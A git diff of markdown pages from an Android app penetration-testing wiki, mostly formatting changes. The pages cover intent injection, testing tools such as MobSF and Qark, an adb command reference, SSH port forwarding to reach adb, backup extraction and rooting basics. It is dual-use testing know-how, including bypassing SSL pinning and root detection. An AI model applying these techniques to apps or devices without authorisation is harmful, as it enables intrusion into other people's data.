could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### Intent Injection -This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. -Many developers make **use** of this **feature** and create **proxy** **components** \(activities, broadcast receivers and services\) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. +This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object.\ +Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc.\ This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. ### Android Client Side Injections and others @@ -422,8 +430,8 @@ This is dangerous because **an attacker can force the app to launch a non-export Probably you know about this kind of vulnerabilities from the Web. You have to be specially careful with this vulnerabilities in an Android application: * **SQL Injection:** When dealing with dynamic queries or Content-Providers ensure you are using parameterized queries. -* **JavaScript Injection \(XSS\):** Verify that JavaScript and Plugin support is disabled for any WebViews \(disabled by default\). [More info here](webview-attacks.md#javascript-enabled). -* **Local File Inclusion:** Verify that File System Access is disabled for any WebViews \(enabled by default\) `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). +* **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled). +* **Local File Inclusion:** Verify that File System Access is disabled for any WebViews (enabled by default) `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). * **Eternal cookies**: In several cases when the android application finish the session the cookie isn't revoked or it could be even saved to disk * \*\*\*\*[**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies.md#cookies-flags) @@ -433,49 +441,49 @@ Probably you know about this kind of vulnerabilities from the Web. You have to b #### Static analysis -![](../../.gitbook/assets/image%20%2859%29.png) +![](<../../.gitbook/assets/image (61).png>) -**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis \(but you need to prepare the environment\). +**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment). -```text +``` docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**\(apk\)**, IOS**\(ipa\) **and Windows**\(apx\) applications \(_Windows applications must be analyzed from a MobSF installed in a Windows host_\). -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app \(go to the root folder of the application, select everything and create a ZIPfile\), it will be able to analyse it also. +Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** \(you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`\). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. ### Assisted Dynamic analysis with MobSF -**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host \(a VM or Docker won't work\). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_ +**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ The **MobSF dynamic analyser** can: -* **Dump application data** \(URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files\). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. +* **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. * Capture **HTTPS traffic** * Use **Frida** to obtain **runtime** **information** -From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. +From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. **Frida** -By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**. +By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. -To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values \(this will appear after pressing "Start Instrumentation"\). -MobSF also allows you to load your own **Frida scripts \(**to send the results of your Friday scripts to MobSF use the function `send()`\). It also has **several pre-written scripts** you can load \(you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`\), just **select them**, press "**Load**" and press "**Start Instrumentation**" \(you will be able to see the logs of that scripts inside "**Frida Live Logs**"\). +To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ +MobSF also allows you to load your own **Frida scripts (**to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). -![](../../.gitbook/assets/image%20%28187%29.png) +![](<../../.gitbook/assets/image (215).png>) Moreover, you have some Auxiliary Frida functionalities: * **Enumerate Loaded Classes**: It will print all the loaded classes -* **Capture Strings**: It will print all the capture strings while using the application \(super noisy\) +* **Capture Strings**: It will print all the capture strings while using the application (super noisy) * **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. -* **Enumerate Class Methods**: Put the class name \(like "java.io.File"\) and it will print all the methods of the class. +* **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. * **Search Class Pattern**: Search classes by pattern -* **Trace Class Methods**: **Trace** a **whole class** \(see inputs and outputs of all methods of th class\). Remember that by default MobSF traces several interesting Android Api methods. +* **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods. Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". @@ -483,7 +491,7 @@ Once you have selected the auxiliary module you want to use you need to press "* Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: -```text +``` help shell ls activities @@ -494,35 +502,37 @@ receivers **HTTP tools** -When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP\(S\) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP. -To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ \([http://127.0.0.1:8080\](http://127.0.0.1:8080\)\). +When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\ +To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities. {% hint style="info" %} After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing: -```text +``` adb shell settings put global http_proxy :0 ``` {% endhint %} ### Assisted Dynamic Analysis with Inspeckage -You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage). +You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**. -{% page-ref page="inspeckage-tutorial.md" %} +{% content-ref url="inspeckage-tutorial.md" %} +[inspeckage-tutorial.md](inspeckage-tutorial.md) +{% endcontent-ref %} ### [Yaazhini](https://www.vegabird.com/yaazhini/) This is a **great tool to perform static analysis with a GUI** -![](../../.gitbook/assets/image%20%28466%29.png) +![](<../../.gitbook/assets/image (527).png>) ### [Qark](https://github.com/linkedin/qark) -This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities \(Exposed activities, intents, tapjacking...\). As with Drozer, there is no need to root the test device. +This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv @@ -553,7 +563,7 @@ qark --java path/to/specific/java/file.java * SSL references * WebView references -```text +``` reverse-apk relative/path/to/APP.apk ``` @@ -565,30 +575,30 @@ All rules are centered in a `rules.json` file, and each company or tester could Download the latest binaries from in the [download page](https://superanalyzer.rocks/download.html) -```text +``` super-analyzer {apk_file} ``` ### [StaCoAn](https://github.com/vincentcox/StaCoAn) -![](../../.gitbook/assets/image%20%28303%29.png) +![](<../../.gitbook/assets/image (62).png>) StaCoAn is a **crossplatform** tool which aids developers, bugbounty hunters and ethical hackers performing [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) on mobile applications\*. -The concept is that you drag and drop your mobile application file \(an .apk or .ipa file\) on the StaCoAn application and it will generate a visual and portable report for you. You can tweak the settings and wordlists to get a customized experience. +The concept is that you drag and drop your mobile application file (an .apk or .ipa file) on the StaCoAn application and it will generate a visual and portable report for you. You can tweak the settings and wordlists to get a customized experience. Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): -```text +``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework is an Android vulnerability analysis system that helps developers or hackers find potential security vulnerabilities in Android applications. +AndroBugs Framework is an Android vulnerability analysis system that helps developers or hackers find potential security vulnerabilities in Android applications.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) -```text +``` python androbugs.py -f [APK file] androbugs.exe -f [APK file] ``` @@ -601,13 +611,13 @@ The detection is performed with the **static analysis** of the application's Dal This tool looks for **common behavior of "bad" applications** like: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... -```text +``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` ### [MARA Framework](https://github.com/xtiankisutsa/MARA_Framework) -![](../../.gitbook/assets/image%20%2810%29.png) +![](<../../.gitbook/assets/image (81).png>) **MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals. @@ -618,25 +628,25 @@ It is able to: * Extract private information from the APK using regexps. * Analyze the Manifest. * Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) -* Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com/) +* Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Useful to detect malware: [https://koodous.com/](https://koodous.com/) +Useful to detect malware: [https://koodous.com/](https://koodous.com) ## Obfuscating/Deobfuscating code Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated. -### [ProGuard](https://en.wikipedia.org/wiki/ProGuard_%28software%29) +### [ProGuard](https://en.wikipedia.org/wiki/ProGuard_\(software\)) **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. ProGuard is distributed as part of the Android SDK and runs when building the application in release mode. -From: [https://en.wikipedia.org/wiki/ProGuard\_\(software\)](https://en.wikipedia.org/wiki/ProGuard_%28software%29) +From: [https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard_\(software\)) -### [DeGuard](http://apk-deguard.com/) +### [DeGuard](http://apk-deguard.com) #### DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries. @@ -662,18 +672,18 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th ### OWASP -{% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" caption="" %} +{% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" %} ### Git Repos -[https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android) -[https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) +[https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android)\ +[https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec) ## References For more information visit: -* [https://appsecwiki.com/\#/](https://appsecwiki.com/#/) It is a great list of resources +* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources * [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course * [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) * [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) @@ -682,4 +692,3 @@ For more information visit: * [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) * [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) - diff --git a/mobile-apps-pentesting/android-app-pentesting/adb-commands.md b/mobile-apps-pentesting/android-app-pentesting/adb-commands.md index 676ff5ab..5e6e1a0b 100644 --- a/mobile-apps-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-apps-pentesting/android-app-pentesting/adb-commands.md @@ -10,35 +10,35 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe /Users//Library/Android/sdk/platform-tools/adb ``` -**Information obtained from:** [**http://adbshell.com/**](http://adbshell.com/)\*\*\*\* +**Information obtained from: **[**http://adbshell.com/**](http://adbshell.com)**** ## Connection -```text +``` adb devices ``` -This will list the connected devices; if "_**unathorised**_" appears, this means that you have to **unblock** your **mobile** and **accept** the connection. +This will list the connected devices; if "_**unathorised**_" appears, this means that you have to **unblock **your **mobile **and **accept **the connection. This indicates to the device that it has to start and adb server in port 5555: -```text +``` adb tcpip 5555 ``` Connect to that IP and that Port: -```text +``` adb connect : ``` -If you get an error like the following in a Virtual Android software \(like Genymotion\): +If you get an error like the following in a Virtual Android software (like Genymotion): -```text +``` adb server version (41) doesn't match this client (36); killing... ``` -It's because you are trying to connect to an ADB server with a different version. Just try to find the adb binary the software is using \(go to `C:\Program Files\Genymobile\Genymotion` and search for adb.exe\) +It's because you are trying to connect to an ADB server with a different version. Just try to find the adb binary the software is using (go to `C:\Program Files\Genymobile\Genymotion` and search for adb.exe) ### Several devices @@ -59,7 +59,7 @@ root ### Port Tunneling -In case the **adb** **port** is only **accessible** from **localhost** in the android device but **you have access via SSH**, you can **forward the port 5555** and connect via adb: +In case the **adb** **port** is only **accessible** from **localhost** in the android device but **you have access via SSH**, you can** forward the port 5555** and connect via adb: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 @@ -70,137 +70,137 @@ adb connect 127.0.0.1:5555 ### Install/Uninstall -#### adb install \[option\] <path> +#### adb install \[option] \ -```text +``` adb install test.apk ``` -```text +``` adb install -l test.apk forward lock application ``` -```text +``` adb install -r test.apk replace existing application ``` -```text +``` adb install -t test.apk allow test packages ``` -```text +``` adb install -s test.apk install application on sdcard ``` -```text +``` adb install -d test.apk allow version code downgrade ``` -```text +``` adb install -p test.apk partial application install ``` -#### adb uninstall \[options\] <PACKAGE> +#### adb uninstall \[options] \ -```text +``` adb uninstall com.test.app ``` -```text +``` adb uninstall -k com.test.app Keep the data and cache directories around after package removal. ``` ### Packages -Prints all packages, optionally only those whose package name contains the text in <FILTER>. +Prints all packages, optionally only those whose package name contains the text in \. -#### adb shell pm list packages \[options\] <FILTER-STR> +#### adb shell pm list packages \[options] \ -```text +``` adb shell pm list packages ``` -```text +``` adb shell pm list packages -f #See their associated file. ``` -```text +``` adb shell pm list packages -d #Filter to only show disabled packages. ``` -```text +``` adb shell pm list packages -e #Filter to only show enabled packages. ``` -```text +``` adb shell pm list packages -s #Filter to only show system packages. ``` -```text +``` adb shell pm list packages -3 #Filter to only show third party packages. ``` -```text +``` adb shell pm list packages -i #See the installer for the packages. ``` -```text +``` adb shell pm list packages -u #Also include uninstalled packages. ``` -```text +``` adb shell pm list packages --user #The user space to query. ``` -#### adb shell pm path <PACKAGE> +#### adb shell pm path \ Print the path to the APK of the given . -```text +``` adb shell pm path com.android.phone ``` -#### adb shell pm clear <PACKAGE> +#### adb shell pm clear \ Delete all data associated with a package. -```text +``` adb shell pm clear com.test.abc ``` ## File Manager -#### adb pull <remote> \[local\] +#### adb pull \ \[local] Download a specified file from an emulator/device to your computer. -```text +``` adb pull /sdcard/demo.mp4 ./ ``` -#### adb push <local> <remote> +#### adb push \ \ Upload a specified file from your computer to an emulator/device. -```text +``` adb push test.apk /sdcard ``` ## Screencapture/Screenrecord -#### adb shell screencap <filename> +#### adb shell screencap \ Taking a screenshot of a device display. -```text +``` adb shell screencap /sdcard/screen.png ``` -#### adb shell screenrecord \[options\] <filename> +#### adb shell screenrecord \[options] \ -Recording the display of devices running Android 4.4 \(API level 19\) and higher. +Recording the display of devices running Android 4.4 (API level 19) and higher. -```text +``` adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size adb shell screenrecord --bit-rate @@ -209,9 +209,9 @@ adb shell screenrecord --rotate # Rotates 90 degrees adb shell screenrecord --verbose ``` -\(press Ctrl-C to stop recording\) +(press Ctrl-C to stop recording) -**You can download the files \(images and videos\) using** _**adb pull**_ +**You can download the files (images and videos) using **_**adb pull**_ ## Shell @@ -219,15 +219,15 @@ adb shell screenrecord --verbose Get a shell inside the device -```text +``` adb shell ``` -#### adb shell <CMD> +#### adb shell \ Execute a command inside the device -```text +``` adb shell ls ``` @@ -248,7 +248,7 @@ input [text|keyevent] #Send keystrokes to device If you want to get the PID of the process of your application you can execute: -```text +``` adb shell ps ``` @@ -256,7 +256,7 @@ And search for your application Or you can do -```text +``` adb shell pidof com.your.application ``` @@ -264,13 +264,13 @@ And it will print the PID of the application ## System -```text +``` adb root ``` -Restarts the adbd daemon with root permissions. Then, you have to conenct again to the ADB server and you will be root \(if available\) +Restarts the adbd daemon with root permissions. Then, you have to conenct again to the ADB server and you will be root (if available) -```text +``` adb sideload ``` @@ -280,80 +280,80 @@ flashing/restoring Android update.zip packages. ### Logcat -To **filter the messages of only one application**, get the PID of the application and use grep \(linux/macos\) or findstr \(windows\) to filter the output of logcat: +To** filter the messages of only one application**, get the PID of the application and use grep (linux/macos) or findstr (windows) to filter the output of logcat: -```text +``` adb logcat | grep 4526 adb logcat | findstr 4526 ``` -#### adb logcat \[option\] \[filter-specs\] +#### adb logcat \[option] \[filter-specs] -```text +``` adb logcat ``` Notes: press Ctrl-C to stop monitor -```text +``` adb logcat *:V lowest priority, filter to only show Verbose level ``` -```text +``` adb logcat *:D filter to only show Debug level ``` -```text +``` adb logcat *:I filter to only show Info level ``` -```text +``` adb logcat *:W filter to only show Warning level ``` -```text +``` adb logcat *:E filter to only show Error level ``` -```text +``` adb logcat *:F filter to only show Fatal level ``` -```text +``` adb logcat *:S Silent, highest priority, on which nothing is ever printed ``` -#### adb logcat -b <Buffer> +#### adb logcat -b \ -```text +``` adb logcat -b radio View the buffer that contains radio/telephony related messages. ``` -```text +``` adb logcat -b event View the buffer containing events-related messages. ``` -```text +``` adb logcat -b main default ``` -```text +``` adb logcat -c Clears the entire log and exits. ``` -```text +``` adb logcat -d Dumps the log to the screen and exits. ``` -```text +``` adb logcat -f test.logs Writes log message output to test.logs . ``` -```text +``` adb logcat -g Prints the size of the specified log buffer and exits. ``` -```text +``` adb logcat -n Sets the maximum number of rotated logs to . ``` @@ -361,27 +361,27 @@ adb logcat -n Sets the maximum number of rotated logs to . dumps system data -#### adb shell dumpsys \[options\] +#### adb shell dumpsys \[options] -```text +``` adb shell dumpsys ``` adb shell dumpsys meminfo -```text +``` adb shell dumpsys battery ``` Notes: A mobile device with Developer Options enabled running Android 5.0 or higher. -```text +``` adb shell dumpsys batterystats collects battery data from your device ``` -Notes: [Battery Historian](https://github.com/google/battery-historian) converts that data into an HTML visualization. **STEP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STEP 2** _python historian.py batterystats.txt > batterystats.html_ +Notes: [Battery Historian](https://github.com/google/battery-historian) converts that data into an HTML visualization. **STEP 1** _adb shell dumpsys batterystats > batterystats.txt_ **STEP 2** _python historian.py batterystats.txt > batterystats.html_ -```text +``` adb shell dumpsys batterystats --reset erases old collection data ``` @@ -408,4 +408,3 @@ If you want to inspect the content of the backup: ```bash ( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz - ``` - diff --git a/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md index 672a2f58..d03d25c3 100644 --- a/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md @@ -13,20 +13,20 @@ ### UID Sharing -**Two applications can be configured to use the same UID**. This can be useful to share information, but if one of them is compromised the data of both applications will be compromised. This is why this behaviour is **discourage**. +**Two applications can be configured to use the same UID**. This can be useful to share information, but if one of them is compromised the data of both applications will be compromised. This is why this behaviour is **discourage**.\ **To share the same UID, applications must define the same `android:sharedUserId` value in their manifests.** ### Sandboxing -The **Android Application Sandbox** allows to run **each application** as a **separate process under a separate user ID**. Each process has its own virtual machine, so an app’s code runs in isolation from other apps. -From Android 5.0\(L\) **SELinux** is enforced. Basically, SELinux denied all process interactions and then created policies to **allow only the expected interactions between them**. +The **Android Application Sandbox **allows to run **each application** as a **separate process under a separate user ID**. Each process has its own virtual machine, so an app’s code runs in isolation from other apps.\ +From Android 5.0(L) **SELinux** is enforced. Basically, SELinux denied all process interactions and then created policies to **allow only the expected interactions between them**. ### Permissions -When you installs an **app and it ask for permissions**, the app is asking for the permissions configured in the **`uses-permission`** elements in the **AndroidManifest.xml** file. The **uses-permission** element indicates the name of the requested permission inside the **name** **attribute.** It also has the **maxSdkVersion** attribute which stops asking for permissions on versions higher than the one specified. -Note that android applications don't need to ask for all the permissions at the beginning, they can also **ask for permissions dynamically** but all the permissions must be **declared** in the **manifest.** +When you installs an **app and it ask for permissions**, the app is asking for the permissions configured in the **`uses-permission`** elements in the **AndroidManifest.xml **file. The **uses-permission** element indicates the name of the requested permission inside the **name** **attribute. **It also has the **maxSdkVersion** attribute which stops asking for permissions on versions higher than the one specified.\ +Note that android applications don't need to ask for all the permissions at the beginning, they can also **ask for permissions dynamically **but all the permissions must be **declared** in the **manifest.** -When an app exposes functionality it can limit the **access to only apps that have a specified permission**. +When an app exposes functionality it can limit the **access to only apps that have a specified permission**.\ A permission element has three attributes: * The **name** of the permission @@ -39,18 +39,18 @@ A permission element has three attributes: ## Pre-Installed Applications -These apps are generally found in the **`/system/app`** or **`/system/priv-app`** directories and some of them are **optimised** \(you may not even find the `classes.dex` file\). Theses applications are worth checking because some times they are **running with too many permissions** \(as root\). +These apps are generally found in the **`/system/app`** or **`/system/priv-app`** directories and some of them are **optimised **(you may not even find the `classes.dex` file). Theses applications are worth checking because some times they are **running with too many permissions** (as root). -* The ones shipped with the **AOSP** \(Android OpenSource Project\) **ROM** +* The ones shipped with the **AOSP** (Android OpenSource Project) **ROM** * Added by the device **manufacturer** -* Added by the cell **phone provider** \(if purchased from them\) +* Added by the cell **phone provider** (if purchased from them) ## Rooting -In order to obtain root access into a physical android device you generally need to **exploit** 1 or 2 **vulnerabilities** which use to be **specific** for the **device** and **version**. +In order to obtain root access into a physical android device you generally need to **exploit** 1 or 2 **vulnerabilities** which use to be **specific** for the **device** and **version**.\ Once the exploit has worked, usually the Linux `su` binary is copied into a location specified in the user's PATH env variable like `/system/xbin`. -Once the su binary is configured, another Android app is used to interface with the `su` binary and **process requests for root access** like **Superuser** and **SuperSU** \(available in Google Play store\). +Once the su binary is configured, another Android app is used to interface with the `su` binary and **process requests for root access **like **Superuser** and **SuperSU **(available in Google Play store). {% hint style="danger" %} Note that the rooting process is very dangerous and can damage severely the device @@ -58,31 +58,31 @@ Note that the rooting process is very dangerous and can damage severely the devi ### ROMs -It's possible to **replace the OS installing a custom firmware**. Doing this it's possible to extend the usefulness of an old device, bypass software restrictions or gain access to the latest Android code. +It's possible to **replace the OS installing a custom firmware**. Doing this it's possible to extend the usefulness of an old device, bypass software restrictions or gain access to the latest Android code.\ **OmniROM** and **LineageOS** are two of the most popular firmwares to use. -Note that **not always is necessary to root the device** to install a custom firmware. **Some manufacturers allow** the unlocking of their bootloaders in a well-documented and safe manner. +Note that **not always is necessary to root the device** to install a custom firmware. **Some manufacturers allow **the unlocking of their bootloaders in a well-documented and safe manner. ### Implications Once a device is rooted, any app could request access as root. If a malicious application gets it, it can will have access to almost everything and it will be able to damage the phone. -## Android Application Fundamentals +## Android Application Fundamentals -This introduction is taken from [https://maddiestone.github.io/AndroidAppRE/app\_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app_fundamentals.html) +This introduction is taken from [https://maddiestone.github.io/AndroidAppRE/app_fundamentals.html](https://maddiestone.github.io/AndroidAppRE/app_fundamentals.html) -### Fundamentals Review +### Fundamentals Review -* Android applications are in the _APK file format_. **APK is basically a ZIP file**. \(You can rename the file extension to .zip and use unzip to open and see its contents.\) -* APK Contents \(Not exhaustive\) +* Android applications are in the _APK file format_. **APK is basically a ZIP file**. (You can rename the file extension to .zip and use unzip to open and see its contents.) +* APK Contents (Not exhaustive) * **AndroidManifest.xml** * resources.arsc/strings.xml * resources.arsc: a file containing precompiled resources, such as binary XML for example. - * res/xml/files\_paths.xml + * res/xml/files_paths.xml * META-INF/ * Certificate lives here! * **classes.dex** - * Dalvik bytecode for application in the DEX file format. **This is the Java \(or Kotlin\) code** compiled that the application will run by default. + * Dalvik bytecode for application in the DEX file format. **This is the Java (or Kotlin) code** compiled that the application will run by default. * lib/ * Native libraries for the application, by default, live here! Under the lib/ directory, there are the cpu-specific directories. * `armeabi`: compiled code for all ARM based processors only @@ -97,22 +97,22 @@ This introduction is taken from [https://maddiestone.github.io/AndroidAppRE/app\ ### **Dalvik & Smali** -Most Android applications are written in Java. Kotlin is also supported and interoperable with Java. For ease, for the rest of this workshop, when I refer to “Java”, you can assume that I mean “Java or Kotlin”. **Instead of the Java code being run in Java Virtual Machine** \(JVM\) like desktop applications, in Android, the **Java is compiled to the** _**Dalvik Executable \(DEX\) bytecode**_ **format**. For earlier versions of Android, the bytecode was translated by the Dalvik virtual machine. For more recent versions of Android, the Android Runtime \(ART\) is used. -If developers, write in Java and the code is compiled to DEX bytecode, to reverse engineer, we work the opposite direction. - +Most Android applications are written in Java. Kotlin is also supported and interoperable with Java. For ease, for the rest of this workshop, when I refer to “Java”, you can assume that I mean “Java or Kotlin”. **Instead of the Java code being run in Java Virtual Machine** (JVM) like desktop applications, in Android, the **Java is compiled to the **_**Dalvik Executable (DEX) bytecode**_** format**. For earlier versions of Android, the bytecode was translated by the Dalvik virtual machine. For more recent versions of Android, the Android Runtime (ART) is used.\ +If developers, write in Java and the code is compiled to DEX bytecode, to reverse engineer, we work the opposite direction.\ +\ -![Flowchart of Developer's process. Java to DEX bytecode](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg) +![Flowchart of Developer's process. Java to DEX bytecode](https://maddiestone.github.io/AndroidAppRE/images/DevelopersFlow.jpg) 